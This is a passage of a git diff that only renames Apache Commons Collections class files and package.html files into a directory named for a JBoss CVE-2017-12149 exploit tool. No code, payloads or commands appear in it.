jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EntrySetMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EntrySetMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EnumerationIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EnumerationIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EnumerationIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/EnumerationIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/FilterListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorChain.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorChain.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorChain.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorChain.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorEnumeration.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorEnumeration.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorEnumeration.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/IteratorEnumeration.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ListIteratorWrapper.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ListIteratorWrapper.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ListIteratorWrapper.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ListIteratorWrapper.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/LoopingIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/LoopingIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/LoopingIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/LoopingIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectArrayListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectGraphIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectGraphIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectGraphIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ObjectGraphIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/ProxyListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/SingletonListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/TransformIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/TransformIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/TransformIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/TransformIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UniqueFilterIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UniqueFilterIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UniqueFilterIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UniqueFilterIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/iterators/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractKeyValue.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractKeyValue.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractKeyValue.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractKeyValue.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultKeyValue.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultKeyValue.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultKeyValue.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultKeyValue.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultMapEntry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultMapEntry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultMapEntry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/DefaultMapEntry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/MultiKey.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/MultiKey.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/MultiKey.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/MultiKey.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/TiedMapEntry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/TiedMapEntry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/TiedMapEntry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/TiedMapEntry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/keyvalue/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$LinkedSubListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$Node.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$Node.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$Node.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList$Node.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractLinkedList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractListDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractListDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractListDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractListDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractSerializableListDecorator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractSerializableListDecorator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractSerializableListDecorator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/AbstractSerializableListDecorator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList$Cursor.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList$Cursor.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList$Cursor.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList$Cursor.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/CursorableLinkedList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList$FixedSizeListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList$FixedSizeListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList$FixedSizeListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList$FixedSizeListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/FixedSizeList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/LazyList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/LazyList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/LazyList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/LazyList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/NodeCachingLinkedList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/NodeCachingLinkedList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/NodeCachingLinkedList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/NodeCachingLinkedList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList$PredicatedListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList$PredicatedListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList$PredicatedListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList$PredicatedListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/PredicatedList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList$SetListListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SetUniqueList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SynchronizedList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SynchronizedList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SynchronizedList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/SynchronizedList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList$TransformedListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList$TransformedListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList$TransformedListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList$TransformedListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TransformedList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$AVLNode.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$AVLNode.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$AVLNode.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$AVLNode.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$TreeListIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$TreeListIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$TreeListIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList$TreeListIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TreeList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TypedList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TypedList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TypedList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/TypedList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/UnmodifiableList.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/UnmodifiableList.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/UnmodifiableList.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/UnmodifiableList.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/package.html similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/list/package.html diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySetIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySetIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySetIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$EntrySetIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashEntry.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashEntry.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashEntry.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashEntry.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashMapIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashMapIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashMapIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashMapIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySet.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySet.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySet.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySet.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySetIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySetIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySetIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySetIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$Values.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$Values.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$Values.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$Values.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$ValuesIterator.class b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$ValuesIterator.class similarity index 100% rename from jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$ValuesIterator.class rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$ValuesIterator.class diff --git a/jboss_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap.class 